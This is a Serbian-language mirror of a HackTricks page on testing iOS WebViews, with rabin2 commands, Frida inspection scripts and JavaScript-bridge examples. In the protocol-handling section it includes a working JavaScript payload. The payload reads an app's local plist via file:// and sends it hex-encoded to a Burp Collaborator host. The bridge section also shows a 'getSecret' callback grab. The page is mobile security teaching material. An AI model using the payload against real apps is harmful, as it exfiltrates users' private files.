mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
291 lines
17 KiB
Markdown
291 lines
17 KiB
Markdown
# iOS WebViews
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
|
|
Kod ove stranice je izvučen [ovde](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Proverite stranicu za dalje detalje.
|
|
|
|
|
|
## Tipovi WebViews-a
|
|
|
|
WebViews se koriste unutar aplikacija kako bi interaktivno prikazivale web sadržaj. Različiti tipovi WebViews-a nude različite funkcionalnosti i sigurnosne karakteristike za iOS aplikacije. Evo kratkog pregleda:
|
|
|
|
- **UIWebView**, koji više nije preporučen od iOS 12 zbog nedostatka podrške za onemogućavanje **JavaScript**-a, što ga čini podložnim ubacivanju skripti i napadima **Cross-Site Scripting (XSS)**.
|
|
|
|
- **WKWebView** je preferirana opcija za uključivanje web sadržaja u aplikacije, nudeći unapređenu kontrolu nad sadržajem i sigurnosne karakteristike. **JavaScript** je podrazumevano omogućen, ali se može onemogućiti ako je potrebno. Takođe podržava funkcije za sprečavanje automatskog otvaranja prozora putem JavaScript-a i obezbeđuje da se sav sadržaj učitava sigurno. Dodatno, arhitektura **WKWebView**-a minimizira rizik od korupcije memorije koja utiče na glavni proces aplikacije.
|
|
|
|
- **SFSafariViewController** nudi standardizovano iskustvo pregledanja weba unutar aplikacija, prepoznatljivo po svom specifičnom izgledu koji uključuje samo polje za adresu, dugmad za deljenje i navigaciju, i direktnu vezu za otvaranje sadržaja u Safari-ju. Za razliku od **WKWebView**-a, **JavaScript** ne može biti onemogućen u **SFSafariViewController**-u, koji takođe deli kolačiće i podatke sa Safari-jem, čuvajući privatnost korisnika od aplikacije. Moraju biti jasno prikazani u skladu sa smernicama App Store-a.
|
|
```javascript
|
|
// Example of disabling JavaScript in WKWebView:
|
|
WKPreferences *preferences = [[WKPreferences alloc] init];
|
|
preferences.javaScriptEnabled = NO;
|
|
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
|
config.preferences = preferences;
|
|
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
|
```
|
|
## Pregled konfiguracije WebViews-a
|
|
|
|
### **Pregled statičke analize**
|
|
|
|
U procesu ispitivanja konfiguracija **WebViews-a**, fokus je na dva osnovna tipa: **UIWebView** i **WKWebView**. Za identifikaciju ovih WebViews-a unutar binarnog fajla, koriste se komande koje traže određene reference klasa i metode inicijalizacije.
|
|
|
|
- **Identifikacija UIWebView-a**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
|
```
|
|
Ova komanda pomaže u pronalaženju instanci **UIWebView** pretraživanjem tekstualnih nizova povezanih s njim u binarnom kodu.
|
|
|
|
- **Identifikacija WKWebView**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
|
```
|
|
Slično tome, za **WKWebView**, ovaj komanda pretražuje binarni fajl za tekstualne niske koji ukazuju na njegovu upotrebu.
|
|
|
|
Osim toga, da biste pronašli kako je **WKWebView** inicijalizovan, izvršava se sledeća komanda, ciljajući na potpis metode koji je povezan sa njegovom inicijalizacijom:
|
|
```bash
|
|
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
|
```
|
|
#### **Provera konfiguracije JavaScript-a**
|
|
|
|
Za **WKWebView**, istaknuto je da je najbolja praksa onemogućiti JavaScript osim ako nije potrebno. Pretražuje se kompilirana binarna datoteka da bi se potvrdilo da je svojstvo `javaScriptEnabled` postavljeno na `false`, čime se osigurava da je JavaScript onemogućen:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
|
```
|
|
#### **Samo provera sigurnog sadržaja**
|
|
|
|
**WKWebView** nudi mogućnost identifikacije problema sa mešovitim sadržajem, za razliku od **UIWebView**-a. Ovo se proverava korišćenjem svojstva `hasOnlySecureContent` kako bi se osiguralo da se svi resursi stranice učitavaju putem sigurnih veza. Pretraga u kompajliranom binarnom kodu se izvodi na sledeći način:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
|
```
|
|
### **Dinamička analiza uvida**
|
|
|
|
Dinamička analiza uključuje pregledanje hipa za instance WebView-a i njihove osobine. Skripta nazvana `webviews_inspector.js` koristi se u tu svrhu, ciljajući instance `UIWebView`, `WKWebView` i `SFSafariViewController`. Ona beleži informacije o pronađenim instancama, uključujući URL-ove i postavke vezane za JavaScript i siguran sadržaj.
|
|
|
|
Pregled hipa može se sprovesti korišćenjem `ObjC.choose()` da bi se identifikovale instance WebView-a i proverile osobine `javaScriptEnabled` i `hasonlysecurecontent`.
|
|
|
|
{% code title="webviews_inspector.js" %}
|
|
```javascript
|
|
ObjC.choose(ObjC.classes['UIWebView'], {
|
|
onMatch: function (ui) {
|
|
console.log('onMatch: ', ui);
|
|
console.log('URL: ', ui.request().toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for UIWebView!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['SFSafariViewController'], {
|
|
onMatch: function (sf) {
|
|
console.log('onMatch: ', sf);
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for SFSafariViewController!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
}
|
|
});
|
|
```
|
|
{% endcode %}
|
|
|
|
Skripta se izvršava sa:
|
|
```bash
|
|
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
|
```
|
|
**Ključni rezultati**:
|
|
- Pronađeni su i pregledani instanci WebViews.
|
|
- Proverena je omogućenost JavaScript-a i postavke sigurnog sadržaja.
|
|
|
|
Ovaj sažetak obuhvata ključne korake i komande u analizi konfiguracija WebView-a kroz statičke i dinamičke pristupe, fokusirajući se na sigurnosne funkcije poput omogućenosti JavaScript-a i detekcije mešovitog sadržaja.
|
|
|
|
## Obrada protokola WebView-a
|
|
|
|
Obrada sadržaja u WebView-ima je ključni aspekt, posebno kada se radi sa različitim protokolima kao što su `http(s)://`, `file://` i `tel://`. Ovi protokoli omogućavaju učitavanje i udaljenog i lokalnog sadržaja unutar aplikacija. Naglašava se da prilikom učitavanja lokalnog sadržaja treba preduzeti mere opreza kako bi se sprečilo da korisnici utiču na ime ili putanju datoteke i da uređuju sam sadržaj.
|
|
|
|
**WebViews** nude različite metode za učitavanje sadržaja. Za **UIWebView**, koji je sada zastareo, koriste se metode poput `loadHTMLString:baseURL:` i `loadData:MIMEType:textEncodingName:baseURL:`. Sa druge strane, **WKWebView** koristi `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` i `loadRequest:` za web sadržaj. Metode poput `pathForResource:ofType:`, `URLForResource:withExtension:` i `init(contentsOf:encoding:)` se obično koriste za učitavanje lokalnih datoteka. Metoda `loadFileURL:allowingReadAccessToURL:` je posebno značajna zbog svoje sposobnosti da učita određeni URL ili direktorijum u WebView, potencijalno izlažući osetljive podatke ako je naveden direktorijum.
|
|
|
|
Da biste pronašli ove metode u izvornom kodu ili kompiliranom binarnom fajlu, mogu se koristiti sledeće komande:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
|
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
|
```
|
|
Što se tiče **pristupa datotekama**, UIWebView to omogućava univerzalno, dok WKWebView uvodi postavke `allowFileAccessFromFileURLs` i `allowUniversalAccessFromFileURLs` za upravljanje pristupom putem URL-ova datoteka, pri čemu su oba po defaultu postavljena na false.
|
|
|
|
Pružen je primer Frida skripte za pregled konfiguracija **WKWebView**-a za sigurnosne postavke:
|
|
```bash
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
|
console.log('allowFileAccessFromFileURLs: ',
|
|
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
console.log('allowUniversalAccessFromFileURLs: ',
|
|
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
```
|
|
Na kraju, primer JavaScript payloada koji ima za cilj izvlačenje lokalnih fajlova pokazuje potencijalni sigurnosni rizik povezan sa nepravilno konfigurisanim WebViews-om. Ovaj payload enkodira sadržaj fajlova u heksadecimalni format pre slanja na server, ističući važnost stroge sigurnosne mere u implementaciji WebView-a.
|
|
```javascript
|
|
String.prototype.hexEncode = function(){
|
|
var hex, i;
|
|
var result = "";
|
|
for (i=0; i<this.length; i++) {
|
|
hex = this.charCodeAt(i).toString(16);
|
|
result += ("000"+hex).slice(-4);
|
|
}
|
|
return result
|
|
}
|
|
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.onreadystatechange = function() {
|
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
|
var xhr2 = new XMLHttpRequest();
|
|
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
|
xhr2.send(null);
|
|
}
|
|
}
|
|
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
|
xhr.send(null);
|
|
```
|
|
## Izlaganje nativnih metoda putem WebView-a
|
|
|
|
## Razumevanje nativnih interfejsa WebView-a u iOS-u
|
|
|
|
Od iOS 7 nadalje, Apple je pružio API-je za **komunikaciju između JavaScript-a u WebView-u i nativnih** Swift ili Objective-C objekata. Ova integracija se uglavnom olakšava kroz dve metode:
|
|
|
|
- **JSContext**: JavaScript funkcija se automatski kreira kada se Swift ili Objective-C blok poveže sa identifikatorom unutar `JSContext`-a. Ovo omogućava besprekornu integraciju i komunikaciju između JavaScript-a i nativnog koda.
|
|
- **JSExport protokol**: Nasleđivanjem `JSExport` protokola, nativna svojstva, instance metode i klase metode mogu biti izložene JavaScript-u. Ovo znači da se bilo koje promene napravljene u JavaScript okruženju ogledaju u nativnom okruženju, i obrnuto. Međutim, važno je osigurati da osetljivi podaci ne budu nenamerno izloženi putem ove metode.
|
|
|
|
### Pristupanje `JSContext`-u u Objective-C-u
|
|
|
|
U Objective-C-u, `JSContext` za `UIWebView` može se dobiti sledećim kodom:
|
|
```objc
|
|
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
|
```
|
|
### Komunikacija sa `WKWebView`
|
|
|
|
Za `WKWebView`, direktni pristup `JSContext`-u nije dostupan. Umesto toga, koristi se prenos poruka putem funkcije `postMessage`, omogućavajući JavaScript-u da komunicira sa nativnom aplikacijom. Handleri za ove poruke se podešavaju na sledeći način, omogućavajući JavaScript-u da sigurno interaguje sa nativnom aplikacijom:
|
|
```swift
|
|
func enableJavaScriptBridge(_ enabled: Bool) {
|
|
options_dict["javaScriptBridge"]?.value = enabled
|
|
let userContentController = wkWebViewConfiguration.userContentController
|
|
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
|
|
|
if enabled {
|
|
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
|
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
|
}
|
|
}
|
|
```
|
|
### Interakcija i testiranje
|
|
|
|
JavaScript može da komunicira sa nativnim slojem definisanjem handlera za poruke skripte. Ovo omogućava operacije poput pozivanja nativnih funkcija sa veb stranice:
|
|
```javascript
|
|
function invokeNativeOperation() {
|
|
value1 = document.getElementById("value1").value
|
|
value2 = document.getElementById("value2").value
|
|
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
|
}
|
|
|
|
// Alternative method for calling exposed JavaScript functions
|
|
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
|
```
|
|
Da biste uhvatili i manipulisali rezultatom poziva native funkcije, možete prebrisati callback funkciju unutar HTML-a:
|
|
```html
|
|
<html>
|
|
<script>
|
|
document.location = "javascriptbridge://getSecret"
|
|
function javascriptBridgeCallBack(name, result) {
|
|
alert(result);
|
|
}
|
|
</script>
|
|
</html>
|
|
```
|
|
Nativna strana obrađuje JavaScript poziv kao što je prikazano u klasi `JavaScriptBridgeMessageHandler`, gde se rezultat operacija kao što je množenje brojeva obrađuje i šalje nazad JavaScript-u radi prikaza ili dalje manipulacije:
|
|
```swift
|
|
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
|
// Handling "multiplyNumbers" operation
|
|
case "multiplyNumbers":
|
|
let arg1 = Double(messageArray[1])!
|
|
let arg2 = Double(messageArray[2])!
|
|
result = String(arg1 * arg2)
|
|
// Callback to JavaScript
|
|
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
|
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|
}
|
|
```
|
|
## Debugiranje iOS WebViews
|
|
|
|
(Tutorijal zasnovan na [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
|
|
|
Da biste efikasno debugirali web sadržaj unutar iOS webview-ova, potrebna je određena konfiguracija koja uključuje Safari-jeve alate za razvoj zbog činjenice da poruke poslate putem `console.log()` nisu prikazane u Xcode logovima. Evo pojednostavljenog vodiča koji naglašava ključne korake i zahteve:
|
|
|
|
- **Priprema na iOS uređaju**: Safari Web Inspector treba biti aktiviran na vašem iOS uređaju. To se postiže odlaskom na **Podešavanja > Safari > Napredno**, i omogućavanjem _Web Inspector_-a.
|
|
|
|
- **Priprema na macOS uređaju**: Na vašem macOS razvojnom računaru, morate omogućiti alate za razvoj unutar Safari-ja. Pokrenite Safari, pristupite **Safari > Preferences > Advanced**, i izaberite opciju _Show Develop menu_.
|
|
|
|
- **Povezivanje i debugiranje**: Nakon što povežete svoj iOS uređaj sa svojim macOS računarom i pokrenete aplikaciju, koristite Safari na svom macOS uređaju da biste izabrali webview koji želite da debugirate. Idite na _Develop_ u Safari-jevoj traci sa menijem, pređite mišem preko imena vašeg iOS uređaja da biste videli listu instanci webview-a, i izaberite instancu koju želite da pregledate. Otvara se novi prozor Safari Web Inspector-a u tu svrhu.
|
|
|
|
Međutim, budite svesni ograničenja:
|
|
|
|
- Debugiranje ovom metodom zahteva macOS uređaj jer se oslanja na Safari.
|
|
- Samo webview-ovi u aplikacijama učitanim na vaš uređaj putem Xcode-a su pogodni za debugiranje. Webview-ovi u aplikacijama instaliranim putem App Store-a ili Apple Configurator-a ne mogu se debugirati na ovaj način.
|
|
|
|
|
|
## Reference
|
|
|
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
|
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
|
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|